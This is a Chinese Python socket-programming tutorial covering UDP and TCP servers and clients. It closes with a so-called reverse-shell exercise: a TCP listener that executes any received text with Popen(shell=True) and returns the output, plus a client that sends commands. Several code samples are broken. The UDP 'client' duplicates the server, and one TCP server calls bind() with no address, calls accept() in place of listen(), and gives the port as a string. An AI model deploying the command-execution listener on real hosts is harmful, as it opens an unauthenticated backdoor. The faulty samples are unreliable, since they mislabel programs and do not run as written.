赞
踩
目录
Socket又称"套接字",是计算机间进行网络通信的一套程序接口。
套接字:IP+端口
Socket通信是基于客户端/服务器结构(C/S),可隐藏复杂的TCP/IP协议族,只要遵循Socket的规定就可以进行网络程序开发,简单且开发效率高。
Python中的socket模块,提供了套接字编程的大部分功能。支持使用UDP和TCP协议进行网络通信。
UDP属于无连接协议,在向接收方发送信息时不需要建立连接,而是直接发送即可。
UDP的应用:域名系统;视频流;IP语音等。
UDP编程流程及常用的
socket模块方法如图所示。
①socket.socket([family[, type[, proto]]]): 创建Socket对象
family | 说明 |
socket.AF_ INET | IPv4协议 |
socket.AF_ INET6 | IPv6协议 |
socket.AF_UNIX | 只能够用于单一的Unix系统进程间通信 |
type | 说明 |
socket.SOCK_STREAM | 流式socket , for TCP |
socket.SOCK_DGRAM | 数据报式socket , for UDP |
socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。 |
socket.SOCK_SEQPACKET | 可靠的连续数据包服务 |
proto | 一般不填,默认为0 |
②bind(address):绑定地址
③sendto(string,address):发送数据把string发送给指定的address。其中address格式为(接收方IP地址,端口号)。address用元组表示(ip,port)
④recvfrom(bufsize[,flags]): 接收数据
bufsize 指定要接收的最大数据量。flag 提供有关消息的其他信息,通常可以忽略。
返回值是元组(data,address)。data为接收的字节串,address是数据发送方的套接字地址。
注意:socket在发送数据时,数据类型为字节串,发送时需将字符串转换为字节串,接收时需要将字节串转换为字符串。
⑤close{}关闭套接字
要求:基于UDP协议,使用socket编写编写一个服务端程序UDP_server.py,一个客户端程序UDP_client.py,实现客户端和服务端间的通信。
- import socket
- # 1.创建socket对象,指明通信用的协议(ipv4,udp)
- def server(server_ip,server_port):
- s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议
-
- # 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
- s.bind((server_ip,server_port))
-
- # 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
- while True:
- #接受数据
- recv_data,cli_addr = s.recvfrom(1024)
- recv_data = recv_data.decode('utf-8')
- print(f"接收:{recv_data}")
- if recv_data == 'exit':
- break
- #发送数据
- send_data = input("发送:")
- s.sendto(send_data.encode('utf-8'),cli_addr)
- if send_data == 'exit':
- break
- # 4.关闭套接字
- s.close()
- #encoding:utf-8
- import socket
-
- # 1.创建socket对象,指明通信用的协议(ipv4,udp)
- def server(server_ip,server_port):
- s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议
-
- # 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
- s.bind((server_ip,server_port))
-
- # 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
- while True:
- #接受数据
- recv_data,cli_addr = s.recvfrom(1024)
- recv_data = recv_data.decode('utf-8')
- print(f"接收:{recv_data}")
- if recv_data == 'exit':
- break
-
- #发送数据
- send_data = input("发送:")
- s.sendto(send_data.encode('utf-8'),cli_addr)
- if send_data == 'exit':
- break
-
- # 4.关闭套接字
- s.close()
-
- if __name__ == '__main__':
- server_ip = '127.0.0.1'
- server_port = 5555
- server(server_ip,server_port)
TCP一般用于可靠数据传输的场合,如文件传输、电子邮件等。TCP编程经常用到socket模块方法如图所示。
①socket.socket([family[, type[, proto]]]): 创建Socket对象
②bind(address):绑定地址
③listen(backlog):监听,等待客户端连接
backlog表示的是服务器拒绝(超过限制数量的)连接之前,操作系统可以挂起的最大连接数量。backlog也可以看作是"排队的数量"。
允许接待的总人数(socket允许的最大连接数)=排队的人数(backlog) +正在就餐的人数(服务器正在处理的socket连接数)
④accept():接受客户端的请求
⑤connect(address):客户端连接远程计算机
⑥send(data[,flags]):发送数据,可能数据未全部发送
⑦sendall(data[, flags]):发送全部数据,成功返回None,失败则抛出异常
⑧recv(bufsize[,flags]):接收数据
⑨close():关闭连接或套接字
基于TCP协议,使用socket编写编写一个服务端程序TCP_server.py,一个客户端程序TCP_client.py,实现客户端和服务端间的通信。
- # encoding:utf-8
- import socket
-
- def recv_send(server_ip,server_port):
- # 1.创建socket对象,指明通信用的协议(ipv4,udp)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-
- # 2.绑定ip地址和端口,指明从哪个网卡和端口上接收数据
- s.bind()
-
- # 3.监听客户端请求
- s.accept()
-
- # 4.接受客户端请求
- conn,client_adr = s.accept()
-
- # 5.接收/发送数据
- while True:
- # 接收数据
- recv_data = conn.recv(1024).decode('utf-8')
- print(f"接收:{recv_data}")
- if recv_data == 'exit':
- break
-
- # 发送数据
- send_data = input("发送:")
- conn.send(send_data.encode('utf-8'))
- if send_data == 'exit':
- break
-
- # 6.关闭连接
- conn.close()
-
- # 7.关闭套接字
- s.close()
-
-
- if __name__ == '__main__':
- server_ip = '127.0.0.1'
- server_port = '5555'
- recv_send(server_ip,server_port)
- #encoding:utf-8
- import socket
-
- def recv_send(server_ip, server_port):
- # 1.创建socket对象,致命IPV4与TCP协议
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-
- # 2.绑定地址
- s.bind((server_ip, server_port))
-
- # 3.监听客户端的请求
- s.listen()
-
- # 4.接受客户端请求
- conn,client_adr = s.accept()
-
- # 5.接受/发送数据
- while True:
- # 接收数据
- recv_data = conn.recv(1024).decode('utf-8')
- print(f"接收:{recv_data}")
- if recv_data == 'exit': # 接收或者发送的是exit就退出
- break
-
- # 发送数据
- send_data = input("发送:")
- conn.send(send_data.encode('utf-8'))
- if send_data == 'exit':
- break
-
- # 6.关闭连接
- conn.close()
-
- # 7.关闭套接字
- s.close()
-
- if __name__ == '__main__':
- server_ip = '127.0.0.1'
- server_port = 5555
- recv_send(server_ip, server_port)
①Gethostname(): 获取本地主机名
②Gethostbyname():根据主机名获取ip地址
③Gethostbyaddr(): 根据ip地址获取主机名
④Getservbyport(): 根据端口号获取服务名
⑤Getservbyname(): 根据服务名获取端口号
以下列出了 Python 网络编程的一些重要模块:
协议 | 功能用处 | 端口号 | Python 模块 |
HTTP | 网页访问 | 80 | httplib, urllib, xmlrpclib |
NNTP | 阅读和张贴新闻文章,俗称为"帖子" | 119 | nntplib |
FTP | 文件传输 | 20 | ftplib, urllib |
SMTP | 发送邮件 | 25 | smtplib |
POP3 | 接收邮件 | 110 | poplib |
IMAP4 | 获取邮件 | 143 | imaplib |
Telnet | 命令行 | 23 | telnetlib |
Gopher | 信息查找 | 70 | gopherlib, urllib |
基于TCP编写反弹shell程序,包含客户端和服务器程序。需要使用subprocess模块
注意:中文windows系统使用GBK编码,需要decode('gbk')解码
- # -*- coding: gbk -*-
- import socket
-
- def get_shell(server_ip, server_port):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.connect((server_ip, server_port))
-
- while True:
- cmd = input("命令: ")
- s.send(cmd.encode('gbk'))
-
- if cmd == 'bye':
- break
-
- recv_result = s.recv(1024).decode('gbk')
- print(f"结果: {recv_result}")
-
- s.close()
-
-
- if __name__ == '__main__':
- server_ip = '127.0.0.1'
- server_port = 6666
- get_shell(server_ip, server_port)
- # -*- coding: gbk -*-
- import socket
- from subprocess import Popen, PIPE
-
- def execute_cmd(server_ip, server_port):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.bind((server_ip, server_port))
-
- s.listen()
-
- conn, client_addr = s.accept()
- while True:
- cmd = conn.recv(1024).decode('gbk')
- cmd_p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE)
- result = cmd_p.stdout.read()
- conn.send(result)
-
- if cmd == 'bye':
- break
- conn.close()
-
- s.close()
-
- if __name__ == '__main__':
- server_ip = '127.0.0.1'
- server_port = 6666
- execute_cmd(server_ip, server_port)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。